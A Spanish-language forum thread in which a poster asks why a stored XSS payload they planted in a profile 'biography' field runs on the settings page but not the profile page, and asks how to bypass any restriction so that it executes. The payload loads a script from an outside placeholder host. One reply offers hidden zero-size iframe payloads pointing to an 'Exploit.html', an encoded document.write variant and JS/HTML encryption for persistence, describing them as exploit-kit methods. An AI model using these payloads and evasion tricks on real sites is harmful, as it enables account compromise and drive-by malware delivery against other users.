Hola amigos, tengo una duda y acudo a ustedes en busca de conocimiento y experiencia. Estoy probando una inyección xss en un input llamemosle "biografia" que se encuentra dentro de la página de configuración del perfil, digamos en /settings el payload es el siguiente:
</script><script src=www.examplesite.com/examplescript.js></script>
Luego de guardar los cambios recargo la página /settings y el script es ejecutado correctamente.
Lo que no entiendo es porque al visitar la página de mi perfil, digamos /profile no se carga el valor rellenado en el paso anterior, es decir, debería cargar el script. Pero en vez de ello no carga nada y deja el campo que debería rellenar de forma vacía:
(https://i.ibb.co/5GhKDgb/Captura.png)
(Se puede ver que dentro del tag <p></p> no carga ningún dato y se encuentra vacío)
Pero el script en cuestión es devuelto por el servidor, ya que al revisar el response se ve claramente que el script viaja de vuelta al cliente:
(https://i.ibb.co/YTHjC54/Captura2.png)
Mi consulta es, ¿si conocen a que se debe este comportamiento, y qué tipo de tácticas se pueden utilizar para poder bypassear cualquier tipo de restricción y que el script en cuestión se ejecute?. Desde ya, muchas gracias!!
hola . el problema tal vez sea js /css = class muchas veces rompe toda la estructura cuando un js es agregado
para evitar esto puedes utilizar iframe.
Normal
<iframe src="Exploit.html" width="0" height="0" frameborder="0"> </iframe>
Encode
<script type="text/javascript">document.write("<iframe src="Exploit.html" name="bio" frameborder="no" </iframe>") </script>
Este archivo Exploit.html : Tendra que tener tu JS de esta forma no hay restricciones , metodo utilizado por Exploit Kits
siempre utilizar border 0 y para mayor persistencia utilizar un encrypt de JS / HTML
Revisa la consola de errores del navegador, probablemente tu server no tiene habilitada las cabeceras CORS y ha denegado la carga desde el sitio inyectado.